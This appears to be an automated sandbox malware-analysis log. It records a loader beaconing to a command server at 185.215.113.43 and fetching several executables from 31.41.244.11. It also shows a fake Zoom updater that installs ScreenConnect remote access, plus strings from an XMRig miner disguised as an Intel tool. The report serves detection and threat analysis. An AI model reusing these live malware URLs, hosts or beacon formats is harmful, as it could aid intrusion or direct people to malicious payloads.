Source: global traffic	HTTP traffic detected: GET /elrata/ZoomUpdateInstallerFull.exe HTTP/1.1Host: fahrerscheinonlineholen.de
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 32 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016235001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 32 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016247001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 32 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016269001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 32 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016274001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 32 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016275001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 147.185.221.24 147.185.221.24

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49812 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49842 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49864 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49882 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49888 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49774 -> 104.21.12.184:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49763 -> 185.196.8.237:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_002EBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,

6_2_002EBE30

Source: global traffic	HTTP traffic detected: GET /software1.exe HTTP/1.1Host: sperviele.work.gd
Source: global traffic	HTTP traffic detected: GET /elrata/ZoomUpdateInstallerFull.exe HTTP/1.1Host: fahrerscheinonlineholen.de
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: sperviele.work.gd
Source: global traffic	DNS traffic detected: DNS query: fahrerscheinonlineholen.de
Source: global traffic	DNS traffic detected: DNS query: eur-automatically.gl.at.ply.gg
Source: global traffic	DNS traffic detected: DNS query: instance-m858nm-relay.screenconnect.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentygr20sb.top

Source: unknown

HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969394575.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq
Source: skotes.exe, 00000006.00000002.2969394575.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpv
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.2912176476.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1aam
Source: skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1m=
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1r
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1~
Source: skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe5l9
Source: skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe6
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe60ac02b4ded8abeee1fbde719b5059bb029
Source: skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe60wm
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe7d
Source: skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exed
Source: skotes.exe, 00000006.00000003.2912176476.0000000000E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exees/unique1/random.exe
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://instance-m858nm-relay.screenconnect.com:443/
Source: ScreenConnect.ClientService.exe, 00000013.00000002.2968597168.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://instance-m858nm-relay.screenconnect.com:443/((instance-m858nm-relay.screenconnect.com
Source: ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://instance-m858nm-relay.screenconnect.com:443/b?-5
Source: ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001DAE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001E58000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001DCA000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001BBC000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001CA8000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001B28000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001C7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://instance-m858nm-relay.screenconnect.com:443/d
Source: ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://instance-m858nm-relay.screenconnect.com:443/f
Source: ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://instance-m858nm-relay.screenconnect.com:443/h
Source: ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://instance-m858nm-relay.screenconnect.com:443/p--6
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: software1.exe, 00000007.00000002.2972499104.0000000002621000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.2975632383.0000000001A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 846a1e1ef7.exe, 00000016.00000002.2967428018.0000000000423000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000448F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2568173128.0000000004323000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr	String found in binary or memory: http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/v
Source: rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000448F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2568173128.0000000004323000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr	String found in binary or memory: http://wixtoolset.org/news/
Source: rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000448F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2568173128.0000000004323000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr	String found in binary or memory: http://wixtoolset.org/releases/
Source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe.14.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: skotes.exe, 00000006.00000002.2969394575.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fahrerscheinonlineholen.de/elrata/ZoomUpdateInstallerFull.exe
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fahrerscheinonlineholen.de/m#
Source: skotes.exe, 00000006.00000003.2912058856.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2969716805.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fahrerscheinonlineholen.de/y#
Source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2992705579.000000001B982000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: skotes.exe, 00000006.00000002.2975039915.0000000005678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: skotes.exe, 00000006.00000002.2969394575.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sperviele.work.gd/
Source: skotes.exe, 00000006.00000002.2969394575.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sperviele.work.gd/9
Source: skotes.exe, 00000006.00000003.2393191289.0000000000E37000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.2393337088.0000000000E37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sperviele.work.gd/software1.exe
Source: skotes.exe, 00000006.00000002.2969394575.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sperviele.work.gd/software1.exe:
Source: skotes.exe, 00000006.00000002.2969394575.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sperviele.work.gd/software1.exei
Source: Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
